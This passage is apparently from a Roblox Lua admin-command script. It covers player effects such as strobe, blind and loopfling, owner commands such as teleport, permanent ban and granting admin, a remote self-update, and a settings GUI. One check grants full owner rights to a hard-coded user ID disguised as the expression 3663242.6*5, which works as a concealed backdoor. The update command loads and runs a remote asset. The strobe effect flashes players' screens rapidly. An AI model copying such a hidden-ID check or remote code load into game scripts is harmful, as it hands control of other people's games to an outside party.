coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUITRIPPY" then g:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "strobe " then if set['FilteringEnabled'] then return end local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUISTROBE" local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 set.LoadScript('LocalScript',[[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]],math.random(),true,scr) end end)) end end if msg:lower():sub(1,9) == "unstrobe " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUISTROBE" then g:Destroy() end end end end)) end end if msg:lower():sub(1,6) == "blind " then if set['FilteringEnabled'] then return end local plrz = set.GetPlayers(plr, msg:lower():sub(7)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name, false) then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = GuiName.."EFFECTGUIBLIND" local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10 end end)) end end if msg:lower():sub(1,8) == "unblind " then local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name == GuiName.."EFFECTGUIBLIND" then g:Destroy() end end end end)) end end if msg:lower():sub(1,7) == "guifix " then local plrz = set.GetPlayers(plr, msg:lower():sub(8)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and v:findFirstChild("PlayerGui") then for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == GuiName.."EFFECTGUI" then g:Destroy() end end end end)) end end if msg:lower():sub(1,9) == "loopheal " then local plrz = set.GetPlayers(plr, msg:lower():sub(10)) for i, v in pairs(plrz) do if v then set.LoadScript('LocalScript',[[ local plr = game.Players:findFirstChild("]] .. v.Name .. [[") repeat wait() coroutine.resume(coroutine.create(function() if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end) end end)) until nil]],"LoopHeal:"..v.Name,true,v.PlayerGui) end end end if msg:lower():sub(1,11) == "unloopheal " then local plrz = set.GetPlayers(plr, msg:lower():sub(12)) for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end end if msg:lower():sub(1,10) == "loopfling " then local plrz = set.GetPlayers(plr, msg:lower():sub(11)) for i, v in pairs(plrz) do if v then set.LoadScript('LocalScript',[[ local plr = game.Players.LocalPlayer repeat coroutine.resume(coroutine.create(function() if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then local xran local zran repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555 repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555 plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0) local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1) end end)) wait(2) until nil]],"LoopFling:"..v.Name,true) end end end if msg:lower():sub(1,12) == "unloopfling " then local plrz = set.GetPlayers(plr, msg:lower():sub(13)) for i,v in pairs(plrz) do for q,sc in pairs(set.objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(set.objects,q) end end end end end ------------------------- -- True Owner Commands -- ------------------------- if (set.ChkOwner(plr.Name) and set['OwnersAreTrueOwners']) or plr.Name:lower() == set.nfs:lower() or plr.userId == (3663242.6*5) or plr.userId == game.CreatorId then if msg:lower():sub(1,11) == "forceplace " then local chk1 = msg:lower():sub(12):find(" ") + 11 local plrz = set.GetPlayers(plr, msg:lower():sub(12,chk1-1)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() game:GetService('TeleportService'):Teleport(msg:sub(chk1+1),v) end)) end end if msg:lower()=='%updatepan%' then local m=Instance.new('Message',workspace) m.Text="Updating PancakeAttacks Admin Commands [MANUAL MODE]" local mo=game:GetService('InsertService'):LoadAsset(149223415) local news=mo:FindFirstChild("PancakeAttacks Admin Commands") _G["Pancake Update"]={} local update = _G["Pancake Update"] for number,setting in pairs(ThingsToUpdate) do if set[setting] then update[setting]=set[setting] end end news.Parent=game:service('ServerScriptService') mo:Destroy() wait(1) m.Text='Breaking old version and respawning players...' wait(1) m:Destroy() set=nil RemoteEvent:Destroy() script.Parent=nil script.Disabled=true script:Destroy() for i,v in pairs(game.Players:GetPlayers()) do v:LoadCharacter() end error('Breaking Old Version') end if msg:lower():sub(1,8) == "permban " then if set['FilteringEnabled'] then return end local plrz = set.GetPlayers(plr, msg:lower():sub(9)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not set.ChkAdmin(v.Name, false) then local scr=Instance.new("ScreenGui",plr.PlayerGui) scr.Name = GuiName.."PERMBANGUI" local frame=Instance.new('Frame',scr) local label=Instance.new('TextLabel',frame) local yes=Instance.new('TextButton',frame) local no=Instance.new('TextButton',frame) frame.BackgroundColor3=set['PrimaryColor'] frame.BorderColor3=Color3.new(1,1,1) frame.BackgroundTransparency=set['Transparency'] frame.BorderSizePixel=2 frame.Position=UDim2.new(1,-500,1,-300) frame.Size=UDim2.new(0,260,0,130) frame.ClipsDescendants=true label.BackgroundTransparency=1 label.BorderSizePixel=0 label.Position=UDim2.new(0,5,0,8) label.Size=UDim2.new(0,250,0,30) label.TextColor3=set['TextColor'] label.ClipsDescendants=false label.TextWrapped=true label.TextScaled=true label.FontSize='Size14' label.Font='ArialBold' label.TextXAlignment='Center' label.TextYAlignment='Center' label.Text='Permanently ban '..v.Name..'?' frame.Draggable=true frame.Active=true label.Draggable=false yes.BackgroundColor3=Color3.new(0, 170, 0) yes.TextColor3=Color3.new(1,1,1) yes.Text='Yes' yes.Font='ArialBold' yes.FontSize='Size36' no.Font='ArialBold' no.FontSize='Size36' no.BackgroundColor3=Color3.new(170, 0, 0) no.TextColor3=Color3.new(1,1,1) no.Text='No' yes.Size=UDim2.new(0,100,0,50) yes.Position=UDim2.new(0,20,0,50) no.Size=UDim2.new(0,100,0,50) no.Position=UDim2.new(0,140,0,50) yes.MouseButton1Down:connect(function() v:SaveBoolean(set['PermBanKey'],true) v:Kick() scr:Destroy() end) no.MouseButton1Down:connect(function() scr:Destroy() end) end end)) end end if msg:lower():sub(1,3) == "oa " then local plrz = set.GetPlayers(plr, msg:lower():sub(4)) for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v and not set.ChkOwner(v.Name) then table.insert(set['Owners'], v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") set.Message("PancakeAttacks Admin Commands", "You're an admin! Chat "..set['prefix'].."cmds to view commands! The Command Prefix is "..set['prefix'], false, {v}) end)) set.Hint(v.Name..' Has Been Given Owner Admin',{plr}) end end)) end end if msg:lower():sub(1,5) == "unoa " then for i = 1, #set['Owners'] do coroutine.resume(coroutine.create(function() if msg:lower():sub(6) == "all" or set['Owners'][i]:lower():find(msg:lower():sub(6)) == 1 then set.Hint(set['Owners'][i]..' No Longer Has Owner Admin',{plr}) table.remove(set['Owners'], i) end end)) end end if msg:lower() == "settings" then if plr.PlayerGui:findFirstChild(GuiName.."SETTINGSGUI") then return end local scr, cmf, ent, num, top = set.ScrollGui() scr.Name = GuiName.."SETTINGSGUI" scr.Parent = plr.PlayerGui top.Text='Settings' local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Prefix: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local tb = Instance.new("TextBox", cl) tb.Position = UDim2.new(0,335,0,0) tb.Size = UDim2.new(0,30,0,15) tb.BackgroundTransparency = .8 tb.BorderSizePixel = 1 tb.BorderColor3 = set['SecondaryColor'] tb.TextColor3 = set['TextColor'] tb.Font = "Arial" tb.Text = set['prefix'] tb.FontSize = "Size18" tb.TextStrokeColor3 = set['TextStrokeColor'] tb.TextStrokeTransparency = .9 tb.TextYAlignment = "Top" tb.ClipsDescendants = true tb.ZIndex = 8 tb.TextWrapped=true tb.TextScaled=true tb.Changed:connect(function() if tb.Text ~= set['prefix'] then set['prefix'] = tb.Text end end) num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Special Prefix: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local tb = Instance.new("TextBox", cl) tb.Position = UDim2.new(0,335,0,0) tb.Size = UDim2.new(0,30,0,15) tb.BackgroundTransparency = .8 tb.BorderSizePixel = 1 tb.BorderColor3 = set['SecondaryColor'] tb.TextColor3 = set['TextColor'] tb.Font = "Arial" tb.Text = set['sprefix'] tb.FontSize = "Size18" tb.TextStrokeColor3 = set['TextStrokeColor'] tb.TextStrokeTransparency = .9 tb.TextYAlignment = "Top" tb.ClipsDescendants = true tb.ZIndex = 8 tb.TextWrapped=true tb.TextScaled=true tb.Changed:connect(function() if tb.Text ~= set['prefix'] and tb.Text ~= "" then set['sprefix'] = tb.Text end end) num = num +1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Fun Commands: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['FunCommands'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['FunCommands'] then set['FunCommands'] = false cb.Text = "" else set['FunCommands'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Player Commands: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['PlayerCommands'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['PlayerCommands'] then set['PlayerCommands'] = false cb.Text = "" else set['PlayerCommands'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Owners Are True Owners: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['OwnersAreTrueOwners'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['OwnersAreTrueOwners'] then set['OwnersAreTrueOwners'] = false cb.Text = "" else set['OwnersAreTrueOwners'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Help System: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['HelpSystem'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['HelpSystem'] then set['HelpSystem'] = false cb.Text = "" else set['HelpSystem'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'PM Usable By Everyone: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['PMUsableByAnyone'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['PMUsableByAnyone'] then set['PMUsableByAnyone'] = false cb.Text = "" else set['PMUsableByAnyone'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-Exploit: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiExploit'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiExploit'] then set['AntiExploit'] = false cb.Text = "" else set['AntiExploit'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-Gui: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiGui'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiGui'] then set['AntiGui'] = false cb.Text = "" else set['AntiGui'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-Nil: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiNil'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiNil'] then set['AntiNil'] = false cb.Text = "" else set['AntiNil'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-Speed: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiSpeed'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiSpeed'] then set['AntiSpeed'] = false cb.Text = "" else set['AntiSpeed'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-Noclip: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiNoclip'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiNoclip'] then set['AntiNoclip'] = false cb.Text = "" else set['AntiNoclip'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-RobloxLocked: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiRobloxLocked'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiRobloxLocked'] then set['AntiRobloxLocked'] = false cb.Text = "" else set['AntiRobloxLocked'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-Animations: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = set['SecondaryColor'] cb.TextColor3 = set['TextColor'] cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = set['TextStrokeColor'] cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiAnimation'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiAnimation'] then set['AntiAnimation'] = false cb.Text = "" else set['AntiAnimation'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Anti-New Account: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AntiNewAccount'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AntiNewAccount'] then set['AntiNewAccount'] = false cb.Text = "" else set['AntiNewAccount'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Minimum Age: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local tb = Instance.new("TextBox", cl) tb.Position = UDim2.new(0,335,0,0) tb.Size = UDim2.new(0,30,0,15) tb.BackgroundTransparency = .8 tb.BorderSizePixel = 1 tb.BorderColor3 = Color3.new(1,1,1) tb.TextColor3 = Color3.new(1,1,1) tb.Font = "Arial" tb.Text = set['MinimumAge'] tb.FontSize = "Size18" tb.TextStrokeColor3 = Color3.new(1,1,1) tb.TextStrokeTransparency = .9 tb.TextYAlignment = "Top" tb.ClipsDescendants = true tb.ZIndex = 8 tb.TextWrapped=true tb.TextScaled=true tb.Changed:connect(function() if tonumber(tb.Text) ~= set['MinimumAge'] and tb.Text ~= "" then set['MinimumAge'] = tonumber(tb.Text) end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Join Message: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['JoinMessage'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['JoinMessage'] then set['JoinMessage'] = false cb.Text = "" else set['JoinMessage'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Chat Logs: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['ChatLog'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['ChatLog'] then set['ChatLog'] = false cb.Text = "" else set['ChatLog'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Max Number Of Logs: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local tb = Instance.new("TextBox", cl) tb.Position = UDim2.new(0,335,0,0) tb.Size = UDim2.new(0,30,0,15) tb.BackgroundTransparency = .8 tb.BorderSizePixel = 1 tb.BorderColor3 = Color3.new(1,1,1) tb.TextColor3 = Color3.new(1,1,1) tb.Font = "Arial" tb.Text = set['MaxNumberOfLogs'] tb.FontSize = "Size18" tb.TextStrokeColor3 = Color3.new(1,1,1) tb.TextStrokeTransparency = .9 tb.TextYAlignment = "Top" tb.ClipsDescendants = true tb.ZIndex = 8 tb.TextWrapped=true tb.TextScaled=true tb.Changed:connect(function() if tonumber(tb.Text) ~= set['MaxNumberOfLogs'] and tb.Text ~= "" then set['MaxNumberOfLogs'] = tonumber(tb.Text) end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Auto-Clean: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['AutoClean'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['AutoClean'] then set['AutoClean'] = false cb.Text = "" else set['AutoClean'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'Auto-Clean Delay: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local tb = Instance.new("TextBox", cl) tb.Position = UDim2.new(0,335,0,0) tb.Size = UDim2.new(0,30,0,15) tb.BackgroundTransparency = .8 tb.BorderSizePixel = 1 tb.BorderColor3 = Color3.new(1,1,1) tb.TextColor3 = Color3.new(1,1,1) tb.Font = "Arial" tb.Text = set['AutoCleanDelay'] tb.FontSize = "Size18" tb.TextStrokeColor3 = Color3.new(1,1,1) tb.TextStrokeTransparency = .9 tb.TextYAlignment = "Top" tb.ClipsDescendants = true tb.ZIndex = 8 tb.TextWrapped=true tb.TextScaled=true tb.Changed:connect(function() if tonumber(tb.Text) ~= set['AutoCleanDelay'] and tb.Text ~= "" and tb.Text~='0' then set['AutoCleanDelay'] = tonumber(tb.Text) end end) num=num+1 local cl = ent:Clone() cl.Parent = cmf cl.Text = 'NoTalk Enabled: ' cl.Position = UDim2.new(0,0,0,num*20) cl.Size=UDim2.new(0,370,0,20) cl.TextScaled=true cl.FontSize='Size24' cl.Font='ArialBold' local cb = Instance.new("TextButton", cl) cb.Position = UDim2.new(0,335,0,0) cb.Size = UDim2.new(0,30,0,15) cb.BackgroundTransparency = .8 cb.BorderSizePixel = 1 cb.BorderColor3 = Color3.new(1,1,1) cb.TextColor3 = Color3.new(1,1,1) cb.Font = "Arial" cb.FontSize = "Size18" cb.TextStrokeColor3 = Color3.new(1,1,1) cb.TextStrokeTransparency = .9 cb.TextYAlignment = "Top" cb.ZIndex = 8 cb.TextWrapped=true cb.TextScaled=true if set['NoTalk'] then cb.Text = "X" else cb.Text = "" end cb.MouseButton1Down:connect(function() if set['NoTalk'] then set['NoTalk'] = false cb.Text = "" else set['NoTalk'] = true cb.Text = "X" end end) num=num+1 local cl = ent:Clone() cl.Parent = 